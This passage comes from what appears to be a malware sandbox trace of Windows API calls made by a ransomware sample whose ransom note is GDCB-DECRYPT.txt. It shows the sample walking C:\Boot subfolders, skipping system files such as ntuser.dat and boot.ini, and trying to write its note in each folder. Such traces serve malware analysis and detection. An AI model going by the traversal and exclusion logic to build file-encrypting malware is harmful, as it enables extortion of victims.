lpString2=".") returned 1 [0169.512] lstrcmpW (lpString1="lt-LT", lpString2="..") returned 1 [0169.512] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="lt-LT" | out: lpString1="C:\\Boot\\lt-LT") returned="C:\\Boot\\lt-LT" [0169.512] lstrcatW (in: lpString1="C:\\Boot\\lt-LT", lpString2="\\" | out: lpString1="C:\\Boot\\lt-LT\\") returned="C:\\Boot\\lt-LT\\" [0169.512] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.512] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.512] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.512] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.512] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.512] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.512] lstrlenW (lpString="C:\\Boot\\lt-LT\\") returned 14 [0169.512] lstrcatW (in: lpString1="C:\\Boot\\lt-LT\\", lpString2="*" | out: lpString1="C:\\Boot\\lt-LT\\*") returned="C:\\Boot\\lt-LT\\*" [0169.512] FindFirstFileW (in: lpFileName="C:\\Boot\\lt-LT\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x5a4958 [0169.513] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.513] FindNextFileW (in: hFindFile=0x5a4958, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.513] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.513] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.513] FindNextFileW (in: hFindFile=0x5a4958, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.513] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.513] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.513] lstrcatW (in: lpString1="C:\\Boot\\lt-LT\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\lt-LT\\bootmgr.exe.mui") returned="C:\\Boot\\lt-LT\\bootmgr.exe.mui" [0169.513] lstrlenW (lpString="C:\\Boot\\lt-LT\\bootmgr.exe.mui") returned 29 [0169.513] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0169.513] FindNextFileW (in: hFindFile=0x5a4958, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.513] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.513] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.513] lstrcatW (in: lpString1="C:\\Boot\\lt-LT\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\lt-LT\\GDCB-DECRYPT.txt") returned="C:\\Boot\\lt-LT\\GDCB-DECRYPT.txt" [0169.513] lstrlenW (lpString="C:\\Boot\\lt-LT\\GDCB-DECRYPT.txt") returned 30 [0169.513] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.513] FindNextFileW (in: hFindFile=0x5a4958, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0169.513] FindClose (in: hFindFile=0x5a4958 | out: hFindFile=0x5a4958) returned 1 [0169.513] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.513] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\lt-LT\\\\GDCB-DECRYPT.txt") returned 31 [0169.513] CreateFileW (lpFileName="C:\\Boot\\lt-LT\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\lt-lt\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.513] GetLastError () returned 0x50 [0169.513] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.513] lstrlenW (lpString="C:\\Boot\\lt-LT\\") returned 14 [0169.513] lstrcatW (in: lpString1="C:\\Boot\\lt-LT\\", lpString2="*" | out: lpString1="C:\\Boot\\lt-LT\\*") returned="C:\\Boot\\lt-LT\\*" [0169.513] FindFirstFileW (in: lpFileName="C:\\Boot\\lt-LT\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x5a4d18 [0169.513] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.514] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.514] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.514] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.514] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.514] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.514] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.514] lstrcatW (in: lpString1="C:\\Boot\\lt-LT\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\lt-LT\\bootmgr.exe.mui") returned="C:\\Boot\\lt-LT\\bootmgr.exe.mui" [0169.514] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.514] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\lt-LT\\bootmgr.exe.mui") returned 29 [0169.514] lstrlenW (lpString="C:\\Boot\\lt-LT\\bootmgr.exe.mui") returned 29 [0169.514] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.514] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.514] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.514] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.514] lstrcatW (in: lpString1="C:\\Boot\\lt-LT\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\lt-LT\\GDCB-DECRYPT.txt") returned="C:\\Boot\\lt-LT\\GDCB-DECRYPT.txt" [0169.514] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.514] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\lt-LT\\GDCB-DECRYPT.txt") returned 30 [0169.514] lstrlenW (lpString="C:\\Boot\\lt-LT\\GDCB-DECRYPT.txt") returned 30 [0169.514] lstrlenW (lpString="C:\\Boot\\lt-LT\\GDCB-DECRYPT.txt") returned 30 [0169.514] lstrlenW (lpString="C:\\Boot\\lt-LT\\GDCB-DECRYPT.txt") returned 30 [0169.514] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.514] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.514] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.514] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.514] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.514] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.514] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.514] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.514] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.514] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.515] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0169.515] FindClose (in: hFindFile=0x5a4d18 | out: hFindFile=0x5a4d18) returned 1 [0169.515] FindNextFileW (in: hFindFile=0x5a4b18, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0169.515] lstrcmpW (lpString1="lv-LV", lpString2=".") returned 1 [0169.515] lstrcmpW (lpString1="lv-LV", lpString2="..") returned 1 [0169.515] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="lv-LV" | out: lpString1="C:\\Boot\\lv-LV") returned="C:\\Boot\\lv-LV" [0169.515] lstrcatW (in: lpString1="C:\\Boot\\lv-LV", lpString2="\\" | out: lpString1="C:\\Boot\\lv-LV\\") returned="C:\\Boot\\lv-LV\\" [0169.515] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.515] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.515] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.515] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.515] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.515] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.515] lstrlenW (lpString="C:\\Boot\\lv-LV\\") returned 14 [0169.515] lstrcatW (in: lpString1="C:\\Boot\\lv-LV\\", lpString2="*" | out: lpString1="C:\\Boot\\lv-LV\\*") returned="C:\\Boot\\lv-LV\\*" [0169.515] FindFirstFileW (in: lpFileName="C:\\Boot\\lv-LV\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x5a4fd8 [0169.515] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.515] FindNextFileW (in: hFindFile=0x5a4fd8, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.515] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.515] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.515] FindNextFileW (in: hFindFile=0x5a4fd8, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.515] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.515] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.515] lstrcatW (in: lpString1="C:\\Boot\\lv-LV\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\lv-LV\\bootmgr.exe.mui") returned="C:\\Boot\\lv-LV\\bootmgr.exe.mui" [0169.515] lstrlenW (lpString="C:\\Boot\\lv-LV\\bootmgr.exe.mui") returned 29 [0169.515] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0169.515] FindNextFileW (in: hFindFile=0x5a4fd8, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.515] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.515] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.515] lstrcatW (in: lpString1="C:\\Boot\\lv-LV\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\lv-LV\\GDCB-DECRYPT.txt") returned="C:\\Boot\\lv-LV\\GDCB-DECRYPT.txt" [0169.515] lstrlenW (lpString="C:\\Boot\\lv-LV\\GDCB-DECRYPT.txt") returned 30 [0169.516] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.516] FindNextFileW (in: hFindFile=0x5a4fd8, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0169.516] FindClose (in: hFindFile=0x5a4fd8 | out: hFindFile=0x5a4fd8) returned 1 [0169.516] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.516] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\lv-LV\\\\GDCB-DECRYPT.txt") returned 31 [0169.516] CreateFileW (lpFileName="C:\\Boot\\lv-LV\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\lv-lv\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.516] GetLastError () returned 0x50 [0169.516] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.516] lstrlenW (lpString="C:\\Boot\\lv-LV\\") returned 14 [0169.516] lstrcatW (in: lpString1="C:\\Boot\\lv-LV\\", lpString2="*" | out: lpString1="C:\\Boot\\lv-LV\\*") returned="C:\\Boot\\lv-LV\\*" [0169.516] FindFirstFileW (in: lpFileName="C:\\Boot\\lv-LV\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x5a4ed8 [0169.516] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.516] FindNextFileW (in: hFindFile=0x5a4ed8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.516] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.516] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.516] FindNextFileW (in: hFindFile=0x5a4ed8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.516] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.516] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.516] lstrcatW (in: lpString1="C:\\Boot\\lv-LV\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\lv-LV\\bootmgr.exe.mui") returned="C:\\Boot\\lv-LV\\bootmgr.exe.mui" [0169.516] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.516] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\lv-LV\\bootmgr.exe.mui") returned 29 [0169.517] lstrlenW (lpString="C:\\Boot\\lv-LV\\bootmgr.exe.mui") returned 29 [0169.517] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.517] FindNextFileW (in: hFindFile=0x5a4ed8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.517] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.517] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.517] lstrcatW (in: lpString1="C:\\Boot\\lv-LV\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\lv-LV\\GDCB-DECRYPT.txt") returned="C:\\Boot\\lv-LV\\GDCB-DECRYPT.txt" [0169.517] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.517] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\lv-LV\\GDCB-DECRYPT.txt") returned 30 [0169.517] lstrlenW (lpString="C:\\Boot\\lv-LV\\GDCB-DECRYPT.txt") returned 30 [0169.517] lstrlenW (lpString="C:\\Boot\\lv-LV\\GDCB-DECRYPT.txt") returned 30 [0169.517] lstrlenW (lpString="C:\\Boot\\lv-LV\\GDCB-DECRYPT.txt") returned 30 [0169.517] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.517] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.517] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.517] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.517] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.517] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.517] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.517] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.517] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.517] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.517] FindNextFileW (in: hFindFile=0x5a4ed8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0169.517] FindClose (in: hFindFile=0x5a4ed8 | out: hFindFile=0x5a4ed8) returned 1 [0169.517] FindNextFileW (in: hFindFile=0x5a4b18, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0169.517] lstrcmpW (lpString1="memtest.exe", lpString2=".") returned 1 [0169.517] lstrcmpW (lpString1="memtest.exe", lpString2="..") returned 1 [0169.517] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="memtest.exe" | out: lpString1="C:\\Boot\\memtest.exe") returned="C:\\Boot\\memtest.exe" [0169.517] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.518] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\memtest.exe") returned 19 [0169.518] lstrlenW (lpString="C:\\Boot\\memtest.exe") returned 19 [0169.518] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.518] FindNextFileW (in: hFindFile=0x5a4b18, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0169.518] lstrcmpW (lpString1="nb-NO", lpString2=".") returned 1 [0169.518] lstrcmpW (lpString1="nb-NO", lpString2="..") returned 1 [0169.518] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="nb-NO" | out: lpString1="C:\\Boot\\nb-NO") returned="C:\\Boot\\nb-NO" [0169.518] lstrcatW (in: lpString1="C:\\Boot\\nb-NO", lpString2="\\" | out: lpString1="C:\\Boot\\nb-NO\\") returned="C:\\Boot\\nb-NO\\" [0169.518] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.518] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.518] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.518] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.518] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.518] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.518] lstrlenW (lpString="C:\\Boot\\nb-NO\\") returned 14 [0169.518] lstrcatW (in: lpString1="C:\\Boot\\nb-NO\\", lpString2="*" | out: lpString1="C:\\Boot\\nb-NO\\*") returned="C:\\Boot\\nb-NO\\*" [0169.518] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x5a4b58 [0169.518] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.518] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.518] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.518] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.518] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.518] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.518] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.518] lstrcatW (in: lpString1="C:\\Boot\\nb-NO\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned="C:\\Boot\\nb-NO\\bootmgr.exe.mui" [0169.519] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0169.519] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0169.519] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.519] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.519] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.519] lstrcatW (in: lpString1="C:\\Boot\\nb-NO\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\nb-NO\\GDCB-DECRYPT.txt") returned="C:\\Boot\\nb-NO\\GDCB-DECRYPT.txt" [0169.519] lstrlenW (lpString="C:\\Boot\\nb-NO\\GDCB-DECRYPT.txt") returned 30 [0169.519] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.519] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.519] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0169.519] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0169.519] lstrcatW (in: lpString1="C:\\Boot\\nb-NO\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\nb-NO\\memtest.exe.mui") returned="C:\\Boot\\nb-NO\\memtest.exe.mui" [0169.519] lstrlenW (lpString="C:\\Boot\\nb-NO\\memtest.exe.mui") returned 29 [0169.519] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0169.519] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0169.519] FindClose (in: hFindFile=0x5a4b58 | out: hFindFile=0x5a4b58) returned 1 [0169.519] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.519] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\nb-NO\\\\GDCB-DECRYPT.txt") returned 31 [0169.519] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\nb-no\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.519] GetLastError () returned 0x50 [0169.519] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.519] lstrlenW (lpString="C:\\Boot\\nb-NO\\") returned 14 [0169.519] lstrcatW (in: lpString1="C:\\Boot\\nb-NO\\", lpString2="*" | out: lpString1="C:\\Boot\\nb-NO\\*") returned="C:\\Boot\\nb-NO\\*" [0169.519] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x5a4c18 [0169.519] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.519] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.519] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.519] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.520] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.520] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.520] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.520] lstrcatW (in: lpString1="C:\\Boot\\nb-NO\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned="C:\\Boot\\nb-NO\\bootmgr.exe.mui" [0169.520] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.520] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0169.520] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0169.520] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.520] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.520] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.520] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.520] lstrcatW (in: lpString1="C:\\Boot\\nb-NO\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\nb-NO\\GDCB-DECRYPT.txt") returned="C:\\Boot\\nb-NO\\GDCB-DECRYPT.txt" [0169.520] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.520] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\nb-NO\\GDCB-DECRYPT.txt") returned 30 [0169.520] lstrlenW (lpString="C:\\Boot\\nb-NO\\GDCB-DECRYPT.txt") returned 30 [0169.520] lstrlenW (lpString="C:\\Boot\\nb-NO\\GDCB-DECRYPT.txt") returned 30 [0169.520] lstrlenW (lpString="C:\\Boot\\nb-NO\\GDCB-DECRYPT.txt") returned 30 [0169.520] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.520] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.520] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.520] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.520] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.520] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.520] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.520] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.520] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.520] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.521] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.521] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0169.521] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0169.521] lstrcatW (in: lpString1="C:\\Boot\\nb-NO\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\nb-NO\\memtest.exe.mui") returned="C:\\Boot\\nb-NO\\memtest.exe.mui" [0169.521] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.521] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\nb-NO\\memtest.exe.mui") returned 29 [0169.521] lstrlenW (lpString="C:\\Boot\\nb-NO\\memtest.exe.mui") returned 29 [0169.521] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.521] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0169.521] FindClose (in: hFindFile=0x5a4c18 | out: hFindFile=0x5a4c18) returned 1 [0169.521] FindNextFileW (in: hFindFile=0x5a4b18, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0169.521] lstrcmpW 